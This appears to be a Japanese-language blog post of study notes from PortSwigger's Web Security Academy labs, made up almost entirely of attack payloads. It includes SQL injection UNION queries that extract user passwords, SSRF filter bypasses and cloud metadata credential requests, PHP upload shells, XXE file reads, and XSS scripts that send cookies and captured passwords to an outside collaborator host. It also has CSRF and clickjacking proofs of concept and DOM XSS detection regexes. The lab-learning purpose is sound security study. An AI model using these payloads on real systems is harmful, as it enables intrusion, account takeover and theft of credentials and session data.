web security academy
SQLi
①/filter?category=Gifts%27+or+1=1--
②ユーザー名administrator'--
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
UNIONが成立する条件2個
個々の問い合わせは、同じ数の列を返さなければならない。
各列のデータ型は、個々のクエリ間で互換性がなければならない。
カラム数を調べる方法
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
The ORDER BY position number 3 is out of range of the number of items in the select list.
このようなエラーが出るとカラムがないことがわかる。
order by は、カラム名で指定できるので、名前を知っている必要はない
もしくは、NULL値を変える
SELECTクエリから返される値としてNULLを使用する理由は、各列のデータ型が元のクエリと注入されたクエリの間で互換性がある必要があるからです
1,2,3,4よりNULLのほうがベター
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
category=Food+%26+Drink'+order+by+3--
GET /filter?category=Food+%26+Drink'+union+select+null,null,null--
オラクルの場合は、table名を指定する必要があるのでdual
を指定する。
' UNION SELECT NULL FROM DUAL--
チートシート
SQLインジェクションUNION攻撃で有用なデータ型を持つカラムを探す
必要な列の数を決定した後、各列に文字列値を順番に配置する一連のUNION SELECTペイロードを送信する
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
データを取得する
UNION SELECT username, password FROM users--
GET /filter?category=Gifts'+union+select+username,password+from+users--
単一のカラムの時は、連結することができる。
UNION SELECT ユーザー名 || '~' || パスワード FROM users--
GET /filter?category=Food+%26+Drink'+union+select+null,username||'*'||password+from+users--
administrator*yzdnt6fli8gou9epevdc
データベースの調査
データベースのバージョンの詳細を照会することができます。この方法はデータベースの種類によって異なるため、どの方法が有効であるかによって、データベース の種類を推測することができます。
Database type | Query |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
unionと組み合わせて使う方法
' UNION SELECT @@version--
どのデータベース・テーブルが存在し、どのカラムを含んでいるかを確認することもできます。例えば、ほとんどのデータベースでは、以下のクエリを実行してテーブルをリストアップすることができます。
SELECT * FROM information_schema.tables
SSRF
stockApi=http://localhost/admin/delete?username=carlos
SSRFのIPアドレススキャン
intruderを使用
1のところをadd$する
payloadタブに切り替えて、payload typeをnumberにする。
- [ペイロード]タブに切り替え、ペイロードタイプを[数値]に変更し、[開始]ボックスと[終了]ボックスと[ステップ]ボックスにそれぞれ1、255、1を入力します。
- 「攻撃開始」をクリックします。
- [ステータス]列をクリックして、ステータスコードの昇順で並べ替えます。管理インターフェースを示す、ステータスが200の単一のエントリが表示されます。
ブラックリスト回避
127.0.0.1
-
2130706433
,017700000001
, or127.1
.
127.0.0.1に解決される独自のドメイン名を登録する。spoofed.burpcollaborator.netを使用することができます。
URLエンコーディングや大文字小文字の違いを利用して、ブロックされた文字列を難読化する。
stockApi=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
ホワイトリスト回避
-
文字を使用して、ホスト名の前のURLにクレデンシャルを埋め込むことができます
@
。例えば:https://expected-host@evil-host
-
この文字を使用して
#
、URLフラグメントを示すことができます。例えば:https://evil-host#expected-host
-
DNS命名階層を利用して、必要な入力を、制御する完全修飾DNS名に配置できます。例えば:
https://expected-host.evil-host
オープンリダイレクトを使う
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
EC2内のインスタンスメタデータのエンドポイント
169.254.169.254
ファイルアップロード
<?php echo file_get_contents('/path/to/target/file'); ?>
Content-Type
をimage/jpeg
に変更
exploit.php.jpg
exploit.php.
exploit.p.phphp
filename="exploit.php%00.jpg"
ポリグロットPHP/JPGファイル
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
PUTで送れる場合もある
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php echo file_get_contents('/path/to/file'); ?>
XXE
POST /Vuln HTTP/1.1
Content-Type: text/xml
<!DOCTYPE name [
<!ENTITY kkk SYSTEM "file:///etc/passwd">
]>
<name>ooo&kkk;</name>
外部実体の宣言はSYSTEMキーワードを使用し、実体の値を読み込むべきURLを指定する
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
攻撃例
リクエスト
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
改ざん
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>1</storeId></stockCheck>
EC2に対してのXXEとSSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>2&xxe;</productId><storeId>1</storeId></stockCheck>
Xinclude
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
SVGがアップロードされる際に、XXEできる
</svg>
の下には、スペースがいる
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
XSS
'"><s>aaa
<img/src/onerror=alert()>
/ は、スペースと同等
<img src=/ onerror="alert('xss')">
'"></script></textarea><svg/onload=confirm(1228)>
<svg/onload=confirm(1228)//
fullname=kz'"></script></textarea><svg/onload=confirm(44)><<script></script>svg/onload=confirm(45)><<a|asvg/onload=confirm(46)>
クロスサイトは、print()
C2 サーバを待ち受けといて、cookieを取る方法
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
password自動補助機能がある際に、刺さる可能性がある方法
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Stored xss と csrfを合わせて、mail adressを変更する
答え
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
試したコード
var req = new XMLHttpRequest();
req.onreadystatechange = function(){
if (req.readyState == 4){
console.log("bb");
console.log(this.responseText.match(/name="csrf" value="(\w+)"/)[1]);
console.log(this.responseText.match(/name="csrf" value="(\w+)"/));
console.log(this.responseText.match(/name="csrf"/));
}
}
req.open('get','/my-account',true);
req.send();
ブラックリストのタグ回避
copy tags to clipboard
タグの調査
paste
bodyタグのイベント調査
<iframe src="https://0afe000b04c30563c06abaf8002a009b.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
カスタムタグ
exploitサーバにカスタムタグ貼り付け
<script>
location='https://0abb00400496b56dc1ab093400240092.web-security-academy.net/?search=<xss+id=x+onfocus=alert(document.cookie)+tabindex=1>#x';
</script>
svgでのxss
上の、intruderを使ったxssと変わらない
GET /?search="><svg><animatetransform%20onbegin=alert(1)>
タグの途中でのXSS
" autofocus onfocus=alert(document.domain) x="
" onmouseover="alert()
href でのXSS
<a href="javascript:alert(document.domain)">
カノニカルパス
https://your-lab-id.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
<link rel="canonical" href='https://0a0e003d04e3e664c0beb47000e7004a.web-security-academy.net/?'accesskey='x'onclick='alert(1)'/>
トリガー(chromeのみ)
On Windows: ALT+SHIFT+X
On MacOS: CTRL+ALT+X
On Linux: Alt+X
scriptタグ内のXSS
単純に閉じてあげる
</script><img src=1 onerror=alert(document.domain)>
GET /?search=</script><img/src/onerror=alert()>
文字列リテラルから抜け出す
'-alert(document.domain)-'
';alert(document.domain)//
GET /?search=';alert(document.domain)//
シングルクォートをバックスラッシュでエスケープすることで、入力がJavaScriptの文字列から外れるのを防ごうとするものがあります
その場合は、下を使う
\';alert(document.domain)//
HTMLエンコーディングの利用
'-alert(document.domain)-'
http://foo?'-alert(1)-'
'
シーケンスは、アポストロフィまたはシングルクォートを表すHTMLエンティティです。ブラウザは、JavaScriptが解釈される前にonclick属性の値をHTMLデコードするので、エンティティは引用符としてデコードされ、それが文字列区切りとなり、その結果、攻撃が成功するのです。
onclick="var tracker={track(){}};tracker.track('http://1234');
javascriptのテンプレート
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
下を埋め込む
${alert(document.domain)}
DOM XSS
ソース
location.search
document.referrer
document.cookie
シンク
eval()
document.body.innerHTML
基本的に、DOM ベースの脆弱性は、ウェブサイトがデータをソースからシンクに渡し、シンクがクライアントのセッションのコンテキストで安全でない方法でデータを処理するときに発生します。
Regular Expressions
Finding Sources
The following regular expression attempts to match most common DOMXSS sources (BETA):
/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage|Database)/
Finding Sinks
The following regular expression attempts to match most common DOMXSS sinks (BETA):
/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/
This regular expression finds sinks based on jQuery, it also finds the $ function, which is not always insecure:
/after\(|\.append\(|\.before\(|\.html\(|\.prepend\(|\.replaceWith\(|\.wrap\(|\.wrapAll\(|\$\(|\.globalEval\(|\.add\(|jQUery\(|\$\(|\.parseHTML\(/
Directory traversal
....//
....\/
%2e%2e%2f
%252e%252e%252f
..%c0%af
..%ef%bc%8f
../../../etc/passwd%00.png
オープンリダイレクト
DOM base
????sink
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
CSRF
SameSiteCookieでも防御
このSameSite
属性を使用して、クロスサイトリクエストでCookieを送信するかどうかとその方法を制御できます
Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;
Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;
SameSiteの値 | 意味 |
---|---|
Strict | 他のドメインへのリクエストを送る際、Strict が指定されたクッキーはセットされません。例えば、Aサイトでログイン中だった場合に、Bサイト上に用意されたAサイトへのリンクをクリックした場合、Aサイトにクッキーが送られませんので、Aサイトに対して未ログイン状態の扱いでページの遷移が行われます。当然、この動作は不便な面もあります。Lax よりセキュリティが高いので、銀行サイトなどでは有効な値です。 |
Lax | top-level navigation(*1) で、且つ GETメソッドであれば、他のドメインへのリクエストであってもクッキーをセットします。例えば、Aサイトでログイン中だった場合に、Bサイト上に用意されたAサイトへのリンクをクリックした場合、ログイン状態でページの遷移が行われます。POSTメソッドを使ったフォーム、imgタグ、iframe、XMLHttpRequests などによる他ドメインへのリクエストにはクッキーはセットされません。Strict より条件が緩い(lax)です。通常は、こちらを使うことになるでしょう。 |
None | 従来どおりの動作(クッキーを送る) |
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
burpでは、CSRFpoc ジェネレータがある。
proじゃない場合は組み立てる
<form method="$method" action="$url">
<input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
document.forms[0].submit();
</script>
GETにリクエストを変えてみると検証されないこともある。
クリックジャッキング
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
typoraでも試せる
<iframe id="target_website" src="https://0a0d00820304dd2cc0525a9100d70064.web-security-academy.net/my-account?id=wiener">
DOM
DOMベースの脆弱性 | シンクの例 |
---|---|
DOM XSS | document.write() |
オープンリダイレクト | window.location |
クッキー操作 | document.cookie |
JavaScriptインジェクション | eval() |
ドキュメントドメインの操作 | document.domain |
WebSocket-URLポイズニング | WebSocket() |
リンク操作 | element.src |
Webメッセージの操作 | postMessage() |
Ajaxリクエストヘッダーの操作 | setRequestHeader() |
ローカルファイルパス操作 | FileReader.readAsText() |
クライアント側のSQLインジェクション | ExecuteSql() |
HTML5-ストレージ操作 | sessionStorage.setItem() |
クライアント側のXPathインジェクション | document.evaluate() |
クライアント側のJSONインジェクション | JSON.parse() |
DOM-データ操作 | element.setAttribute() |
サービス拒否 | RegExp() |
TIPS
Command+Alt+F で chromeで jsのコードが検索できる
Discussion